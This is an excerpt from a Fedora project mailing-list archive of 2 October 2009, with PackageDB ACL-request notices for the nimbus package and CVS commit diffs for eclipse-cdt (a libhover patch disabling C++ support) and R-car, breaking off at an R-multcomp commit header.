From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:15 +0000
Subject: [pkgdb] nimbus: cwickert has requested approveacls
Message-ID: <20091002223215.4481210F8B0@bastion2.fedora.phx.redhat.com>

cwickert has requested the approveacls acl on nimbus (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:23 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchbugzilla
Message-ID: <20091002223223.C573710F88C@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchbugzilla acl on nimbus (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:25 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchcommits
Message-ID: <20091002223225.6DE6A10F894@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchcommits acl on nimbus (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From jjohnstn at fedoraproject.org  Fri Oct  2 22:32:23 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Fri,  2 Oct 2009 22:32:23 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-11 eclipse-cdt.spec,1.126,1.127
Message-ID: <20091002223223.1C71111C00C1@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6469

Modified Files:
	eclipse-cdt.spec 
Log Message:

* Fri Oct 02 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-6
- Disable libstdc++ libhover from 0.3.0 which cannot work without CDT 6.0.




Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-11/eclipse-cdt.spec,v
retrieving revision 1.126
retrieving revision 1.127
diff -u -p -r1.126 -r1.127
--- eclipse-cdt.spec	2 Oct 2009 19:42:28 -0000	1.126
+++ eclipse-cdt.spec	2 Oct 2009 22:32:22 -0000	1.127
@@ -20,7 +20,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        5.2%{?dist}
+Release:        6{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:27 +0000
Subject: [pkgdb] nimbus: cwickert has requested commit
Message-ID: <20091002223227.A7FC010F8A8@bastion2.fedora.phx.redhat.com>

cwickert has requested the commit acl on nimbus (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:29 +0000
Subject: [pkgdb] nimbus: cwickert has requested approveacls
Message-ID: <20091002223229.4963710F8B2@bastion2.fedora.phx.redhat.com>

cwickert has requested the approveacls acl on nimbus (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:33 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchbugzilla
Message-ID: <20091002223233.E451E10F8AC@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchbugzilla acl on nimbus (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:35 +0000
Subject: [pkgdb] nimbus: cwickert has requested watchcommits
Message-ID: <20091002223235.6856710F8B1@bastion2.fedora.phx.redhat.com>

cwickert has requested the watchcommits acl on nimbus (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:37 +0000
Subject: [pkgdb] nimbus: cwickert has requested commit
Message-ID: <20091002223237.2B90010F875@bastion2.fedora.phx.redhat.com>

cwickert has requested the commit acl on nimbus (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Fri Oct  2 22:32:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 22:32:39 +0000
Subject: [pkgdb] nimbus: cwickert has requested approveacls
Message-ID: <20091002223239.2AED310F890@bastion2.fedora.phx.redhat.com>

cwickert has requested the approveacls acl on nimbus (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From jjohnstn at fedoraproject.org  Fri Oct  2 22:36:30 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Fri,  2 Oct 2009 22:36:30 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-10 eclipse-cdt-libhover-oldcdt.patch, NONE,
	1.1 eclipse-cdt.spec, 1.123, 1.124
Message-ID: <20091002223630.3ADCE11C00C1@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8331

Modified Files:
	eclipse-cdt.spec 
Added Files:
	eclipse-cdt-libhover-oldcdt.patch 
Log Message:

* Fri Oct 02 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-6
- Disable libstdc++ libhover from 0.3.0 which cannot work without CDT 6.0.



eclipse-cdt-libhover-oldcdt.patch:
 META-INF/MANIFEST.MF                                                  |    1 
 src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java           |    1 
 src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java        |  388 +++++-----
 src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java |   10 
 4 files changed, 209 insertions(+), 191 deletions(-)

--- NEW FILE eclipse-cdt-libhover-oldcdt.patch ---
diff -up ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF.fix ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF
--- ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF.fix	2009-10-02 15:31:47.000000000 -0400
+++ ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF	2009-10-02 15:32:51.000000000 -0400
@@ -18,3 +18,4 @@ Require-Bundle: org.eclipse.ui,
  org.eclipse.jface.text;bundle-version="3.4.1"
 Bundle-RequiredExecutionEnvironment: J2SE-1.5
 Export-Package: org.eclipse.linuxtools.cdt.libhover
+Bundle-ActivationPolicy: lazy
diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java
--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java.fix	2009-10-02 15:32:06.000000000 -0400
+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java	2009-10-02 15:32:51.000000000 -0400
@@ -29,6 +29,7 @@ public class LibhoverPlugin extends Abst
 	 * The constructor
 	 */
 	public LibhoverPlugin() {
+		plugin = this;
 	}
 
 	/*
diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java
--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java.fix	2009-10-02 15:32:21.000000000 -0400
+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java	2009-10-02 15:39:10.000000000 -0400
@@ -1,5 +1,5 @@
 /*******************************************************************************
- * Copyright (c) 2004, 2006, 2007, 2008 Red Hat, Inc.
+ * Copyright (c) 2004, 2006, 2007, 2008, 2009 Red Hat, Inc.
  * All rights reserved. This program and the accompanying materials
  * are made available under the terms of the Eclipse Public License v1.0
  * which accompanies this distribution, and is available at
@@ -49,8 +49,6 @@ import org.eclipse.cdt.ui.ICHelpResource
 import org.eclipse.cdt.ui.IFunctionSummary;
 import org.eclipse.cdt.ui.IRequiredInclude;
 import org.eclipse.cdt.ui.text.ICHelpInvocationContext;
-import org.eclipse.cdt.ui.text.IHoverHelpInvocationContext;
-import org.eclipse.cdt.ui.text.SharedASTJob;
 import org.eclipse.core.runtime.IConfigurationElement;
 import org.eclipse.core.runtime.IExtensionRegistry;
 import org.eclipse.core.runtime.IStatus;
@@ -213,44 +211,44 @@ public class LibHover implements ICHelpP
 		return Character.isLetterOrDigit(ch) || ch == '_' || ch == ':'; 
 	}
 
-	private class EnclosingASTNameJob extends SharedASTJob {
-		private int tlength;
-		private int toffset;
-		private IASTName result = null;
-		public EnclosingASTNameJob (ITranslationUnit t, 
-				int toffset, int tlength) {
-			super("EnclosingASTNameJob", t); // $NON-NLS-1$
-			this.toffset = toffset;
-			this.tlength = tlength;
-		}
-		public IStatus runOnAST(ILanguage lang, IASTTranslationUnit ast) {
-			if (ast != null) {
-				result = ast.getNodeSelector(null).findEnclosingName(toffset, tlength);
-			}
-			return Status.OK_STATUS;
-		}
-		public IASTName getASTName() {
-			return result;
-		}
-	}
-	
-	public class ASTDeclarationFinderJob extends SharedASTJob {
-		private IBinding binding;
-		private IASTName[] decls = null;
-		public ASTDeclarationFinderJob (ITranslationUnit t, IBinding binding) {
-			super("ASTDeclarationFinderJob", t); // $NON-NLS-1$
-			this.binding = binding;
-		}
-    	public IStatus runOnAST(ILanguage lang, IASTTranslationUnit ast) {
-    		if (ast != null) {
-    			decls = ast.getDeclarationsInAST(binding);
-    		}
-    		return Status.OK_STATUS;
-    	}
-    	public IASTName[] getDeclarations() {
-    		return decls;
-    	}
-	}
+//	private class EnclosingASTNameJob extends SharedASTJob {
+//		private int tlength;
+//		private int toffset;
+//		private IASTName result = null;
+//		public EnclosingASTNameJob (ITranslationUnit t, 
+//				int toffset, int tlength) {
+//			super("EnclosingASTNameJob", t); // $NON-NLS-1$
+//			this.toffset = toffset;
+//			this.tlength = tlength;
+//		}
+//		public IStatus runOnAST(ILanguage lang, IASTTranslationUnit ast) {
+//			if (ast != null) {
+//				result = ast.getNodeSelector(null).findEnclosingName(toffset, tlength);
+//			}
+//			return Status.OK_STATUS;
+//		}
+//		public IASTName getASTName() {
+//			return result;
+//		}
+//	}
+	
+//	public class ASTDeclarationFinderJob extends SharedASTJob {
+//		private IBinding binding;
+//		private IASTName[] decls = null;
+//		public ASTDeclarationFinderJob (ITranslationUnit t, IBinding binding) {
+//			super("ASTDeclarationFinderJob", t); // $NON-NLS-1$
+//			this.binding = binding;
+//		}
+//    	public IStatus runOnAST(ILanguage lang, IASTTranslationUnit ast) {
+//    		if (ast != null) {
+//    			decls = ast.getDeclarationsInAST(binding);
+//    		}
+//    		return Status.OK_STATUS;
+//    	}
+//    	public IASTName[] getDeclarations() {
+//    		return decls;
+//    	}
+//	}
 
 	public IFunctionSummary getFunctionInfo(ICHelpInvocationContext context, ICHelpBook[] helpBooks, String name) {
         IFunctionSummary f;
@@ -266,155 +264,155 @@ public class LibHover implements ICHelpP
         String className = null;
         ICPPFunctionType methodType = null;
         
-        if (t.isCXXLanguage()) {
-        	try {
-        		if (context instanceof IHoverHelpInvocationContext) {
-        			// We know the file offset of the member reference.
-        			IRegion region = (IRegion)((IHoverHelpInvocationContext)context).getHoverRegion();
-        			char[] contents = t.getCodeReader().buffer;
-        			int i = region.getOffset();
-        			// Let's figure out if it is a pointer reference or a direct reference in which case we can
-        			// find the variable and hence it's class.
-        			if (i > 2 && contents[i-1] == '>' && contents[i-2] == '-') {
-        				// Pointer reference
-        				int j = i - 3;
-        				int pointer = 0;
-        				while (j > 0 && isCPPCharacter(contents[j])) {
-        					pointer = j;
-        					--j;
-        				}
-        				if (pointer != 0) {
-        					offset = pointer;
-        					length = region.getOffset() - pointer - 2;
-        					isPTR = true;
-        					//						String pointerName = new String(contents, pointer, region.getOffset() - pointer - 2);
-        					//						System.out.println("pointer reference to " + pointerName);
-        				}
-        			} else if (i > 1 && contents[i-1] == '.') {
-        				int j = i - 2;
-        				int ref = 0;
-        				while (j > 0 && isCPPCharacter(contents[j])) {
-        					ref = j;
-        					--j;
-        				}
-        				if (ref != 0) {
-        					offset = ref;
-        					length = region.getOffset() - ref - 1;
-        					isREF = true;
-        					//						String refName = new String(contents, ref, region.getOffset() - ref - 1);
-        					//						System.out.println("regular reference to " + refName);
-        				}
-        			}
-        			final IASTName[] result= {null};
-        			final int toffset = offset;
-        			final int tlength = length;
-
-        			// If we have a pointer or reference variable, get its ASTName.
-        			if (isPTR || isREF) {
-        				EnclosingASTNameJob job = new EnclosingASTNameJob(t, toffset, tlength);
-        				job.schedule();
-        				try {
-        					job.join();
-        				} catch (InterruptedException e) {
-        					// TODO Auto-generated catch block
-        					e.printStackTrace();
-        				}
-        				if (job.getResult() == Status.OK_STATUS)
-        					result[0] = job.getASTName();
-        			}
-
-        			// If we get the ASTName for the variable, let's find its declaration which will give us its class.
-        			final IASTName[][] decl = {null};
-        			if (result[0] != null) {
-        				final IBinding binding = result[0].resolveBinding();
-        				ASTDeclarationFinderJob job = new ASTDeclarationFinderJob(t, binding);
-        				job.schedule();
-        				try {
-        					job.join();
-        				} catch (InterruptedException e) {
-        					// TODO Auto-generated catch block
-        					e.printStackTrace();
-        				}
-        				if (job.getResult() == Status.OK_STATUS) {
-        					decl[0] = job.getDeclarations();
-        				}
-        			}
-
-        			// Look for a simple declaration.
-        			IASTNode n = null;
-        			if (decl[0] != null && decl[0].length > 0) {
-         				n = decl[0][0];
-        				while (n != null && !(n instanceof IASTSimpleDeclaration)) {
-        					n = n.getParent();
-        				}
-        			}
-
-        			// If we have the simple declaration, get its declaration specifier which hopefully will
-        			// be a named type.
-        			if (n != null) {
-        				IASTSimpleDeclaration d = (IASTSimpleDeclaration)n;
-        				IASTDeclSpecifier s = d.getDeclSpecifier();
-        				if (s instanceof IASTNamedTypeSpecifier) {
-        					// From the named type, we can get the binding of the type name and from that,
-        					// its qualified name.  We need a qualified name (i.e. with namespace) because our
-        					// repository of classes and typedefs are hashed by fully qualified names.
-        					IASTName astName = ((IASTNamedTypeSpecifier)s).getName();
-        					if (astName != null) {
-        						IBinding nameBinding = astName.resolveBinding();
-        						if (nameBinding instanceof ICPPBinding) {
-        							String[] qualified = ((ICPPBinding)nameBinding).getQualifiedName();
-        							className = qualified[0];
-        							for (int k = 1; k < qualified.length; ++k)
-        								className += "::" + qualified[k];
-        						} else {
-        							className = nameBinding.getName();
-        						}
-        					}
-        				}
-        			}
-//        							System.out.println("classname is " + className);
-        			
-        			// Now, let's find the declaration of the method.  We need to do this because we want the specific
-        			// member prototype to go searching for.  There could be many members called "x" which have different
-        			// documentation.
-        			if (className != null) {
-        				EnclosingASTNameJob job = new EnclosingASTNameJob(t, region.getOffset(), region.getLength());
-        				job.schedule();
-        				try {
-        					job.join();
-        				} catch (InterruptedException e) {
-        					// TODO Auto-generated catch block
-        					e.printStackTrace();
-        				}
-        				if (job.getResult() == Status.OK_STATUS)
-        					result[0] = job.getASTName();
-        			}
-        			if (result[0] != null) {
-        				final IBinding binding = result[0].getBinding();
-        				if (binding instanceof ICPPFunction) {
-        					methodType = ((ICPPFunction)binding).getType();
-        				}
-        			}
-        		}
-        	} catch (IllegalArgumentException e) {
-        		// TODO Auto-generated catch block
-        		e.printStackTrace();
-        	} catch (DOMException e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-			}
-        }
+//        if (t.isCXXLanguage()) {
+//        	try {
+//        		if (context instanceof IHoverHelpInvocationContext) {
+//        			// We know the file offset of the member reference.
+//        			IRegion region = (IRegion)((IHoverHelpInvocationContext)context).getHoverRegion();
+//        			char[] contents = t.getCodeReader().buffer;
+//        			int i = region.getOffset();
+//        			// Let's figure out if it is a pointer reference or a direct reference in which case we can
+//        			// find the variable and hence it's class.
+//        			if (i > 2 && contents[i-1] == '>' && contents[i-2] == '-') {
+//        				// Pointer reference
+//        				int j = i - 3;
+//        				int pointer = 0;
+//        				while (j > 0 && isCPPCharacter(contents[j])) {
+//        					pointer = j;
+//        					--j;
+//        				}
+//        				if (pointer != 0) {
+//        					offset = pointer;
+//        					length = region.getOffset() - pointer - 2;
+//        					isPTR = true;
+//        					//						String pointerName = new String(contents, pointer, region.getOffset() - pointer - 2);
+//        					//						System.out.println("pointer reference to " + pointerName);
+//        				}
+//        			} else if (i > 1 && contents[i-1] == '.') {
+//        				int j = i - 2;
+//        				int ref = 0;
+//        				while (j > 0 && isCPPCharacter(contents[j])) {
+//        					ref = j;
+//        					--j;
+//        				}
+//        				if (ref != 0) {
+//        					offset = ref;
+//        					length = region.getOffset() - ref - 1;
+//        					isREF = true;
+//        					//						String refName = new String(contents, ref, region.getOffset() - ref - 1);
+//        					//						System.out.println("regular reference to " + refName);
+//        				}
+//        			}
+//        			final IASTName[] result= {null};
+//        			final int toffset = offset;
+//        			final int tlength = length;
+//
+//        			// If we have a pointer or reference variable, get its ASTName.
+//        			if (isPTR || isREF) {
+//        				EnclosingASTNameJob job = new EnclosingASTNameJob(t, toffset, tlength);
+//        				job.schedule();
+//        				try {
+//        					job.join();
+//        				} catch (InterruptedException e) {
+//        					// TODO Auto-generated catch block
+//        					e.printStackTrace();
+//        				}
+//        				if (job.getResult() == Status.OK_STATUS)
+//        					result[0] = job.getASTName();
+//        			}
+//
+//        			// If we get the ASTName for the variable, let's find its declaration which will give us its class.
+//        			final IASTName[][] decl = {null};
+//        			if (result[0] != null) {
+//        				final IBinding binding = result[0].resolveBinding();
+//        				ASTDeclarationFinderJob job = new ASTDeclarationFinderJob(t, binding);
+//        				job.schedule();
+//        				try {
+//        					job.join();
+//        				} catch (InterruptedException e) {
+//        					// TODO Auto-generated catch block
+//        					e.printStackTrace();
+//        				}
+//        				if (job.getResult() == Status.OK_STATUS) {
+//        					decl[0] = job.getDeclarations();
+//        				}
+//        			}
+//
+//        			// Look for a simple declaration.
+//        			IASTNode n = null;
+//        			if (decl[0] != null && decl[0].length > 0) {
+//         				n = decl[0][0];
+//        				while (n != null && !(n instanceof IASTSimpleDeclaration)) {
+//        					n = n.getParent();
+//        				}
+//        			}
+//
+//        			// If we have the simple declaration, get its declaration specifier which hopefully will
+//        			// be a named type.
+//        			if (n != null) {
+//        				IASTSimpleDeclaration d = (IASTSimpleDeclaration)n;
+//        				IASTDeclSpecifier s = d.getDeclSpecifier();
+//        				if (s instanceof IASTNamedTypeSpecifier) {
+//        					// From the named type, we can get the binding of the type name and from that,
+//        					// its qualified name.  We need a qualified name (i.e. with namespace) because our
+//        					// repository of classes and typedefs are hashed by fully qualified names.
+//        					IASTName astName = ((IASTNamedTypeSpecifier)s).getName();
+//        					if (astName != null) {
+//        						IBinding nameBinding = astName.resolveBinding();
+//        						if (nameBinding instanceof ICPPBinding) {
+//        							String[] qualified = ((ICPPBinding)nameBinding).getQualifiedName();
+//        							className = qualified[0];
+//        							for (int k = 1; k < qualified.length; ++k)
+//        								className += "::" + qualified[k];
+//        						} else {
+//        							className = nameBinding.getName();
+//        						}
+//        					}
+//        				}
+//        			}
+////        							System.out.println("classname is " + className);
+//        			
+//        			// Now, let's find the declaration of the method.  We need to do this because we want the specific
+//        			// member prototype to go searching for.  There could be many members called "x" which have different
+//        			// documentation.
+//        			if (className != null) {
+//        				EnclosingASTNameJob job = new EnclosingASTNameJob(t, region.getOffset(), region.getLength());
+//        				job.schedule();
+//        				try {
+//        					job.join();
+//        				} catch (InterruptedException e) {
+//        					// TODO Auto-generated catch block
+//        					e.printStackTrace();
+//        				}
+//        				if (job.getResult() == Status.OK_STATUS)
+//        					result[0] = job.getASTName();
+//        			}
+//        			if (result[0] != null) {
+//        				final IBinding binding = result[0].getBinding();
+//        				if (binding instanceof ICPPFunction) {
+//        					methodType = ((ICPPFunction)binding).getType();
+//        				}
+//        			}
+//        		}
+//        	} catch (IllegalArgumentException e) {
+//        		// TODO Auto-generated catch block
+//        		e.printStackTrace();
+//        	} catch (DOMException e) {
+//				// TODO Auto-generated catch block
+//				e.printStackTrace();
+//			}
+//        }
         	
         // Loop through all the documents we have and report first match.
         for (int i = 0; i < helpBooks.length; ++i) {
         	LibHoverLibrary l = libraries.get(helpBooks[i]);
         	if (name != null) {
-        		if (className != null) {
-        			if (l.isCPP())
-        				f = getMemberSummary(l, className, name, methodType);
-        		} else {
+//        		if (className != null) {
+//        			if (l.isCPP())
+//        				f = getMemberSummary(l, className, name, methodType);
+//        		} else {
         			f = getFunctionSummary(l, name);
-        		}
+//        		}
         		if (f != null)
         			return f;
         	}
@@ -451,7 +449,7 @@ public class LibHover implements ICHelpP
 			return null;
 		if (methodType != null) {
 			try {
-				args = resolveArgs(info, methodType.getParameterTypes());
+				args = resolveArgs(info, methodType.getParameterTypes(), templateTypes);
 				returnType = methodType.getReturnType();
 			} catch (DOMException e) {
 				// TODO Auto-generated catch block
@@ -465,11 +463,11 @@ public class LibHover implements ICHelpP
 		MemberInfo member = info.getMember(memberName);
 		if (member != null) {
 			MemberInfo m = null;
-			if (!isParmMatch(member, args)) {
+			if (!isParmMatch(member, args, templateTypes, info)) {
 				ArrayList<MemberInfo> members = member.getChildren();
 				for (int i = 0; i < members.size(); ++i) {
 					MemberInfo k = members.get(i);
-					if (isParmMatch(k, args)) {
+					if (isParmMatch(k, args, templateTypes, info)) {
 						m = k;
 						break;
 					}
@@ -513,12 +511,18 @@ public class LibHover implements ICHelpP
 	}
      
  	
-	private boolean isParmMatch(MemberInfo m, String[] args) {
+	private boolean isParmMatch(MemberInfo m, String[] args, ArrayList<String> templateTypes, ClassInfo info) {
 		String[] memberParms = m.getParamTypes();
+		for (int i = 0; i < memberParms.length; ++i) {
+			String[] templateParms = info.getTemplateParms();
+			for (int j = 0; j < templateTypes.size(); ++j) {
+				memberParms[i] = memberParms[i].replaceAll(templateParms[j], templateTypes.get(j));
+			}
+		}
 		return Arrays.equals(memberParms, args);
 	}
 
-	private String[] resolveArgs(ClassInfo info, IType[] parameterTypes) {
+	private String[] resolveArgs(ClassInfo info, IType[] parameterTypes, ArrayList<String> templateTypes) {
 		String[] templateParms = info.getTemplateParms();
 		String[] result = new String[parameterTypes.length];
 		for (int i = 0; i < parameterTypes.length; ++i) {
@@ -529,7 +533,11 @@ public class LibHover implements ICHelpP
 			while (index >= 0) {
 				// We assume no class has more than 9 template parms.
 				int digit = param.charAt(index + 1) - '0';
-				param = param.replaceFirst(param.substring(index, index + 2), templateParms[digit]);
+				// where possible, replace template parms with real values
+				if (digit < templateTypes.size())
+					param = param.replaceFirst(param.substring(index, index + 2), templateTypes.get(digit));
+				else
+					param = param.replaceFirst(param.substring(index, index + 2), templateParms[digit]);
 				index = param.indexOf("#");
 			}
 			result[i] = param;
diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java
--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java.fix	2009-10-02 15:32:31.000000000 -0400
+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java	2009-10-02 15:32:51.000000000 -0400
@@ -21,10 +21,12 @@ import java.net.URL;
 import java.util.ArrayList;
 
 import org.eclipse.core.filesystem.URIUtil;
+import org.eclipse.core.runtime.FileLocator;
 import org.eclipse.core.runtime.IPath;
 import org.eclipse.linuxtools.cdt.libhover.ClassInfo;
 import org.eclipse.linuxtools.cdt.libhover.FunctionInfo;
 import org.eclipse.linuxtools.cdt.libhover.LibHoverInfo;
+import org.eclipse.linuxtools.cdt.libhover.LibhoverPlugin;
 import org.eclipse.linuxtools.cdt.libhover.TypedefInfo;
 
 public class LibHoverLibrary {
@@ -98,7 +100,13 @@ public class LibHoverLibrary {
 					URL url = acDoc.toURL();
 					docStream = url.openStream();
 				} else {
-					docStream = new FileInputStream(p.toFile());
+					try {
+						// Try to open the file as local to this plug-in.
+						docStream = FileLocator.openStream(LibhoverPlugin.getDefault().getBundle(), p, false);
+					} catch (IOException e) {
+						// File is not local to plug-in, try file system.
+						docStream = new FileInputStream(p.toFile());
+					}
 				}
 				ObjectInputStream input = new ObjectInputStream(docStream);
 				hoverInfo = (LibHoverInfo)input.readObject();


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-10/eclipse-cdt.spec,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- eclipse-cdt.spec	25 Sep 2009 18:11:59 -0000	1.123
+++ eclipse-cdt.spec	2 Oct 2009 22:36:29 -0000	1.124
@@ -20,7 +20,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        5%{?dist}
+Release:        6{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -106,9 +106,10 @@ Patch17: %{name}-autotools-bug281582.pat
 # plugin and not require html to access them.
 Patch18: %{name}-libhover-local.patch
 
-# Following is a patch to libhover to fix member resolution, plugin loading,
-# and to enable local plugin file support for docs.
-Patch19: %{name}-libhover.patch
+# Following is a patch to libhover to allow libhover docs to be in the
+# libhover plugin.  It also disables C++ support from 0_3_0 which requires
+# CDT 6.0.
+Patch19: %{name}-libhover-oldcdt.patch
 
 BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
@@ -594,6 +595,9 @@ fi
 %endif
 
 %changelog
+* Fri Oct 02 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-6
+- Disable libstdc++ libhover from 0.3.0 which cannot work without CDT 6.0.
+
 * Wed Sep 23 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-5
 - Resolves #525004
 - Upgrade libhover to 0.3.0.



From orion at fedoraproject.org  Fri Oct  2 22:42:45 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri,  2 Oct 2009 22:42:45 +0000 (UTC)
Subject: rpms/R-car/devel .cvsignore, 1.7, 1.8 R-car.spec, 1.8, 1.9 sources, 
	1.7, 1.8
Message-ID: <20091002224245.12AE111C00C1@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/R-car/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10069

Modified Files:
	.cvsignore R-car.spec sources 
Log Message:
* Fri Oct 2 2009 Orion Poplawski <orion at cora.nwra.com> 1.2-15
- Update to 1.2-15



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-car/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Aug 2009 17:52:44 -0000	1.7
+++ .cvsignore	2 Oct 2009 22:42:44 -0000	1.8
@@ -1 +1 @@
-car_1.2-14.tar.gz
+car_1.2-15.tar.gz


Index: R-car.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-car/devel/R-car.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- R-car.spec	10 Aug 2009 17:47:11 -0000	1.8
+++ R-car.spec	2 Oct 2009 22:42:44 -0000	1.9
@@ -1,10 +1,10 @@
 %define packname car
 # Note that some R packages do not use packrel
-%define packrel 14
+%define packrel 15
 
 Name:             R-%{packname}
 Version:          1.2
-Release:          8%{?dist}
+Release:          15%{?dist}
 Source0:          http://cran.r-project.org/src/contrib/car_%{version}-%{packrel}.tar.gz
 License:          GPLv2+
 URL:              http://cran.r-project.org/web/packages/car/index.html
@@ -77,6 +77,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/R/library/%{packname}/help
 
 %changelog
+* Fri Oct 2 2009 Orion Poplawski <orion at cora.nwra.com> 1.2-15
+- Update to 1.2-15
+
 * Mon Aug 10 2009 Orion Poplawski <orion at cora.nwra.com> 1.2-8
 - Update to 1.2-14
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-car/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	10 Aug 2009 17:52:44 -0000	1.7
+++ sources	2 Oct 2009 22:42:44 -0000	1.8
@@ -1 +1 @@
-4b60b3639c92e368bb9183ce3228c6ff  car_1.2-14.tar.gz
+db43cfcc0b71bc7731bb795c939225bd  car_1.2-15.tar.gz



From orion at fedoraproject.org  Fri Oct  2 22:48:05 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri,  2 Oct 2009 22:48:05 +0000 (UTC)
Subject: rpms/R-multcomp/devel .cvsignore, 1.11, 1.12 R-multcomp.spec, 1.18, 
	1.19 sources, 1.11, 1.12
